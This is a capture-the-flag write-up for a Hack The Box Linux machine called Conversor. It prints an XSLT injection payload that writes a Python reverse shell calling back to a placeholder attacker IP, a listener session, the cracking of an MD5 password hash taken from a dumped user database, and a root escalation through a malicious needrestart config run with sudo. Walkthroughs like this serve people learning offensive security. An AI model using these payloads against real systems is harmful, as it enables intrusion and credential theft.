Conversor
Introduction:
Conversor is a Linux machine featuring a web application that converts Nmap XML scan results into styled HTML reports using XSLT transformations.
A foothold is gained by discovering a source code download feature on the /about page, which reveals that the XSLT file is parsed by lxml without any security restrictions, unlike the XML file which is parsed with resolve_entities=False and no_network=True. This allow us to write arbitrary files to the server using the EXSLT exploit:document extension. Combined with a cron job running every minute that executes all Python scripts in /var/www/conversor.htb/scripts/ as www-data, this achieves remote code execution and an initial shell.
Post-exploitation enumeration reveals a SQLite database containing MD5-hashed credentials. Cracking the hash for user fismathack and reusing the password over SSH grants access to the user flag.
Privilege escalation is achieved through a sudo rule allowing fismathack to run /usr/sbin/needrestart without a password. Since needrestart is written in Perl and evaluates its configuration file as Perl code, passing a malicious config file via the -c flag with exec "/bin/bash"; spawns a root shell.
Reconnaissance
Starting with a nmap scan.
Nmap scan:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
2└─$ ports=$(nmap -p- --min-rate=1000 -T4 10.129.238.31 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
3
4┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
5└─$ nmap -p$ports -sV -sC 10.129.238.31
6Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-08 21:42 +0200
7Nmap scan report for 10.129.238.31
8Host is up (0.10s latency).
9
10PORT STATE SERVICE VERSION
1122/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
12| ssh-hostkey:
13| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
14|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
1580/tcp open http Apache httpd 2.4.52
16|_http-title: Did not follow redirect to http://conversor.htb/
17|_http-server-header: Apache/2.4.52 (Ubuntu)
18Service Info: Host: conversor.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
19
20Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
21Nmap done: 1 IP address (1 host up) scanned in 10.98 seconds
22
Add 10.129.238.31 with conversor.htb to the hosts file.
Enumeration
Lets make gobuster scan to enumerate the web service.
Gobuster:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
2└─$ gobuster dir -u http://conversor.htb/ -w /usr/share/seclists/Discovery/Web-Content/big.txt
3===============================================================
4Gobuster v3.8.2
5by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
6===============================================================
7[+] Url: http://conversor.htb/
8[+] Method: GET
9[+] Threads: 10
10[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
11[+] Negative Status codes: 404
12[+] User Agent: gobuster/3.8.2
13[+] Timeout: 10s
14===============================================================
15Starting gobuster in directory enumeration mode
16===============================================================
17about (Status: 200) [Size: 2842]
18convert (Status: 405) [Size: 153]
19javascript (Status: 301) [Size: 319] [--> http://conversor.htb/javascript/]
20login (Status: 200) [Size: 722]
21logout (Status: 302) [Size: 199] [--> /login]
22register (Status: 200) [Size: 726]
23server-status (Status: 403) [Size: 278]
24Progress: 20481 / 20481 (100.00%)
25===============================================================
26Finished
27===============================================================
28┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
29└─$
Browse the http://conversor.htb/:
By browsing the site we get a login form where there is a Register link:
Click on Register and create an account and sign in:
Before uploading anything lets look at the template:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
2└─$ curl -v http://conversor.htb/static/nmap.xslt
3* Host conversor.htb:80 was resolved.
4* IPv6: (none)
5* IPv4: 10.129.238.31
6* Trying 10.129.238.31:80...
7* Established connection to conversor.htb (10.129.238.31 port 80) from 10.10.15.18 port 49888
8* using HTTP/1.x
9> GET /static/nmap.xslt HTTP/1.1
10> Host: conversor.htb
11> User-Agent: curl/8.19.0
12> Accept: */*
13>
14* Request completely sent off
15< HTTP/1.1 200 OK
16< Date: Fri, 08 May 2026 20:20:35 GMT
17< Server: Apache/2.4.52 (Ubuntu)
18< Content-Disposition: inline; filename=nmap.xslt
19< Content-Length: 3216
20< Last-Modified: Fri, 01 Aug 2025 00:47:59 GMT
21< Cache-Control: no-cache
22< ETag: "1754009279.3479643-3216-710479636"
23< Content-Type: application/xslt+xml; charset=utf-8
24<
25<?xml version="1.0" encoding="UTF-8"?>
26<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
27 <xsl:output method="html" indent="yes" />
28
29 <xsl:template match="/">
30 <html>
31 <head>
32 <title>Nmap Scan Results</title>
33
34 </head>
35 <body>
36 <h1>Nmap Scan Report</h1>
37 <h3><xsl:value-of select="nmaprun/@args"/></h3>
38
39 <xsl:for-each select="nmaprun/host">
40 <div class="card">
41 <div class="host-header">
42 Host: <span class="ip"><xsl:value-of select="address[@addrtype='ipv4']/@addr"/></span>
43 <xsl:if test="hostnames/hostname/@name">
44 (<xsl:value-of select="hostnames/hostname/@name"/>)
45 </xsl:if>
46 </div>
47 <table>
48 <tr>
49 <th>Port</th>
50 <th>Protocol</th>
51 <th>Service</th>
52 <th>State</th>
53 </tr>
54 <xsl:for-each select="ports/port">
55 <tr>
56 <td><xsl:value-of select="@portid"/></td>
57 <td><xsl:value-of select="@protocol"/></td>
58 <td><xsl:value-of select="service/@name"/></td>
59 <td>
60 <xsl:attribute name="class">
61 <xsl:value-of select="state/@state"/>
62 </xsl:attribute>
63 <xsl:value-of select="state/@state"/>
64 </td>
65 </tr>
66 </xsl:for-each>
67 </table>
68 </div>
69 </xsl:for-each>
70 </body>
71 </html>
72 </xsl:template>
73</xsl:stylesheet>
74* Connection #0 to host conversor.htb:80 left intact
If we look at the about page we are able to download the source code:
Lets look at the source code:
Download the source code and look at the app.py file:
It sanitize the XML file but the XSLT file is parsed without getting sanitized.
In the install.md file you see this message “our server deletes all files older than 60minutes to avoid system overload”:
This means there is properly a cronjob running every minute or so that checks the files.
Exploitation:
Using the XSLT Injection example on PayloadsAllTheThings we can craft a payload.
Create a file called evil.xslt with our payload:
1<xsl:stylesheet
2 xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
3 xmlns:exploit="http://exslt.org/common"
4 extension-element-prefixes="exploit"
5 version="1.0">
6 <xsl:template match="/">
7 <exploit:document href="/var/www/conversor.htb/scripts/shell.py" method="text">import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER-IP",ATTACKER-PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])
8 </exploit:document>
9 </xsl:template>
10</xsl:stylesheet>
Create a XML file input.xml:
1<?xml version="1.0"?>
2 <root></root>
Start a netcat listener:
1┌──(ballademageren㉿PC-101)-[~/…/labs/machines/Conversor/source_code]
2└─$ nc -lvnp 4444
3listening on [any] 4444 ...
Upload the input.xml and evil.xslt files:
After a minute or two you should have receive a reverse shell:
1┌──(ballademageren㉿PC-101)-[~/…/labs/machines/Conversor/source_code]
2└─$ nc -lvnp 4444
3listening on [any] 4444 ...
4connect to [10.10.15.18] from (UNKNOWN) [10.129.238.31] 57056
5/bin/sh: 0: can't access tty; job control turned off
6$id
7uid=33(www-data) gid=33(www-data) groups=33(www-data)
8$
This works because the XSLT file is parsed without sanitation.
Another interesting file in the source code was the /instance/users.db let look at that here on the server.
1$ strings /var/www/conversor.htb/instance/users.db
2SQLite format 3
3?tablefilesfiles
4CREATE TABLE files (
5 id TEXT PRIMARY KEY,
6 user_id INTEGER,
7 filename TEXT,
8 FOREIGN KEY(user_id) REFERENCES users(id)
9 ))
10indexsqlite_autoindex_files_1files
11Ytablesqlite_sequencesqlite_sequence
12CREATE TABLE sqlite_sequence(name,seq)
13tableusersusers
14CREATE TABLE users (
15 id INTEGER PRIMARY KEY AUTOINCREMENT,
16 username TEXT UNIQUE,
17 password TEXT
18 ))
19indexsqlite_autoindex_users_1users
20)Mballademagerenef749ff9a048bad0dd80807fc49e1c0d.
21!Mfismathack5b5c3ac3a1c897c94caad48e6c71fdec
22ballademageren
23! fismathack
24users
25_1363be8b-c6c8-4227-92cc-1367b434fb14
261363be8b-c6c8-4227-92cc-1367b434fb14.htmlR
27_c3f1ec9b-1b2c-49d2-96a6-33aff7028391
28c3f1ec9b-1b2c-49d2-96a6-33aff7028391.htmlR
29_f06dc183-e13f-4f4c-8389-7e414d7fe573
30f06dc183-e13f-4f4c-8389-7e414d7fe573.htmlR
31_0facc6c2-7625-4240-9dd0-d1085335224c
320facc6c2-7625-4240-9dd0-d1085335224c.htmlR
33_00508ffa-82dd-4c42-9867-7dd4a6b16605
3400508ffa-82dd-4c42-9867-7dd4a6b16605.htmlR
35_89af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b
3689af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b.htmlR
37_a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2
38a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2.htmlR
39_8374be69-0931-4445-8f58-5589d27ec7d7
408374be69-0931-4445-8f58-5589d27ec7d7.html
411363be8b-c6c8-4227-92cc-1367b434fb14
42c3f1ec9b-1b2c-49d2-96a6-33aff7028391
43f06dc183-e13f-4f4c-8389-7e414d7fe573
440facc6c2-7625-4240-9dd0-d1085335224c
4500508ffa-82dd-4c42-9867-7dd4a6b16605
4689af2dd2-48b2-41b5-a2ba-e2c7a20b2a8b
47a10bcb29-b9c0-4b3d-99aa-c4f0e8afd4e2
48U 8374be69-0931-4445-8f58-5589d27ec7d7
49$
Lets query the users.db to see if we can get some credentials from table users:
1$ sqlite3 /var/www/conversor.htb/instance/users.db "SELECT * FROM users;"
21|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
35|ballademageren|ef749ff9a048bad0dd80807fc49e1c0d
4$
Awesome, now we have a user fismathack and a hashed password 5b5c3ac3a1c897c94caad48e6c71fdec.
Identify the hash type:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
2└─$ hash-identifier 5b5c3ac3a1c897c94caad48e6c71fdec
3 #########################################################################
4 # __ __ __ ______ _____ #
5 # /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
6 # \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
7 # \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
8 # \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
9 # \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
10 # \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
11 # By Zion3R #
12 # www.Blackploit.com #
13 # Root@Blackploit.com #
14 #########################################################################
15--------------------------------------------------
16
17Possible Hashs:
18[+] MD5
19[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
Crack the password with hashcat:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
2└─$ hashcat -m 0 fismathack_hash.txt /usr/share/wordlists/rockyou.txt
3hashcat (v7.1.2) starting
4
5OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
6====================================================================================================================================================
7* Device #01: cpu-skylake-avx512-AMD Ryzen 5 7500F 6-Core Processor, 6955/13911 MB (2048 MB allocatable), 8MCU
8
9Minimum password length supported by kernel: 0
10Maximum password length supported by kernel: 256
11
12Hashes: 1 digests; 1 unique digests, 1 unique salts
13Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
14Rules: 1
15
16Optimizers applied:
17* Zero-Byte
18* Early-Skip
19* Not-Salted
20* Not-Iterated
21* Single-Hash
22* Single-Salt
23* Raw-Hash
24
25ATTENTION! Pure (unoptimized) backend kernels selected.
26Pure kernels can crack longer passwords, but drastically reduce performance.
27If you want to switch to optimized kernels, append -O to your commandline.
28See the above message to find out about the exact limits.
29
30Watchdog: Temperature abort trigger set to 90c
31
32Host memory allocated for this attack: 514 MB (10341 MB free)
33
34Dictionary cache hit:
35* Filename..: /usr/share/wordlists/rockyou.txt
36* Passwords.: 14344385
37* Bytes.....: 139921507
38* Keyspace..: 14344385
39
405b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm
41
42Session..........: hashcat
43Status...........: Cracked
44Hash.Mode........: 0 (MD5)
45Hash.Target......: 5b5c3ac3a1c897c94caad48e6c71fdec
46Time.Started.....: Sat May 9 14:32:44 2026 (3 secs)
47Time.Estimated...: Sat May 9 14:32:47 2026 (0 secs)
48Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
49Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
50Guess.Queue......: 1/1 (100.00%)
51Speed.#01........: 5397.5 kH/s (0.25ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
52Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
53Progress.........: 10977280/14344385 (76.53%)
54Rejected.........: 0/10977280 (0.00%)
55Restore.Point....: 10969088/14344385 (76.47%)
56Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
57Candidate.Engine.: Device Generator
58Candidates.#01...: KillerG-18 -> Karamba
59Hardware.Mon.#01.: Util: 13%
60
61Started: Sat May 9 14:32:34 2026
62Stopped: Sat May 9 14:32:48 2026
63
64┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
65└─$
Post-Exploitation:
Now that we have the account fismathack:Keepmesafeandwarm we can sign in with SSH and get the user flag:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
2└─$ ssh fismathack@conversor.htb
3The authenticity of host 'conversor.htb (10.129.32.131)' can't be established.
4ED25519 key fingerprint is: SHA256:xCQV5IVWuIxtwatNjsFrwT7VS83ttIlDqpHrlnXiHR8
5This key is not known by any other names.
6Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
7Warning: Permanently added 'conversor.htb' (ED25519) to the list of known hosts.
8fismathack@conversor.htb's password:
9Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-160-generic x86_64)
10
11[...]
12
13fismathack@conversor:~$ cat user.txt
140e05977e43f52940e57f3e978628ca29
15fismathack@conversor:~$
Enumerating:
Now that we have escalated our privileges to the user fismathack and got the user flag we should try escalating our privileges to root, so lets start enumerating using Linpeas from PEASS-ng.
Create a python http server that hosts the linpeas.sh:
1┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
2└─$ ls -l linpeas.sh
3-rwxr-xr-x 1 ballademageren ballademageren 1031313 May 9 14:56 linpeas.sh
4
5┌──(ballademageren㉿PC-101)-[~/htb/labs/machines/Conversor]
6└─$ python3 -m http.server 8080
7Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Download the linpeas.sh from our http server and run it:
1fismathack@conversor:~$ wget http://10.10.15.18:8080/linpeas.sh
2--2026-05-09 12:57:24-- http://10.10.15.18:8080/linpeas.sh
3Connecting to 10.10.15.18:8080... connected.
4HTTP request sent, awaiting response... 200 OK
5Length: 1031313 (1007K) [application/x-sh]
6Saving to: ‘linpeas.sh’
7
8linpeas.sh 100%[=========================================================================================================================================>] 1007K 1.58MB/s in 0.6s
9
102026-05-09 12:57:25 (1.58 MB/s) - ‘linpeas.sh’ saved [1031313/1031313]
11
12fismathack@conversor:~$ ./linpeas.sh
13
14
15
16 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
17 ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄
18 ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
19 ▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
20 ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
21 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
22 ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄▄▄ ▄
23 ▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄ ▄▄▄▄
24 ▄▄ ▄▄▄ ▄▄▄▄▄ ▄▄▄
25 ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
26 ▄ ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄
27 ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
28 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄
29 ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄ ▄▄▄▄
30 ▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ ▄ ▄▄
31 ▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄
32 ▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄ ▄▄▄▄▄
33 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
34 ▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
35 ▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
36 ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
37 ▀▀▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
38 ▀▀▀▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▀▀
39 ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀
40
41 /---------------------------------------------------------------------------------\
42 | Do you like PEASS? |
43 |---------------------------------------------------------------------------------|
44 | Learn Cloud Hacking : https://training.hacktricks.xyz |
45 | Follow on Twitter : @hacktricks_live |
46 | Respect on HTB : SirBroccoli |
47 |---------------------------------------------------------------------------------|
48 | Thank you! |
49 \---------------------------------------------------------------------------------/
50 LinPEAS-ng by carlospolop
51
52ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.
53
54Linux Privesc Checklist: https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html
55 LEGEND:
56 RED/YELLOW: 95% a PE vector
57 RED: You should take a look into it
58 LightCyan: Users with console
59 Blue: Users without console & mounted devs
60 Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs)
61 LightMagenta: Your username
62
63 Starting LinPEAS. Caching Writable Folders...
Look in the output under Users Information:
1
2 ╔═══════════════════╗
3═══════════════════════════════╣ Users Information ╠═══════════════════════════════
4 ╚═══════════════════╝
5
6[...]
7
8╔══════════╣ Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d (T1548.003)
9╚ https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-and-suid
10Matching Defaults entries for fismathack on conversor:
11 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
12
13User fismathack may run the following commands on conversor:
14 (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
15Matching Defaults entries for fismathack on conversor:
16 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
17
18User fismathack may run the following commands on conversor:
19 (ALL : ALL) NOPASSWD: /usr/sbin/needrestart
20
21[...]
Here we can see that we can run needrestart as sudo and without password.
Privilege Escalation:
Needrestart is written in Perl and according to GTFObins we should make a malicious config file with a payload and run that config file with sudo needrestart -c which should elevate our privileges to root.
Create the malicious config file with our payload:
1fismathack@conversor:~$ echo 'exec "/bin/bash";' > /tmp/nr.pl
Run needrestart with our malicious config file and get the root flag:
1fismathack@conversor:~$ sudo needrestart -c /tmp/nr.pl
2root@conversor:/home/fismathack# cat /root/root.txt
326d2d1ffc82de4154fff45826ebf0bc3
4root@conversor:/home/fismathack#
Completion:
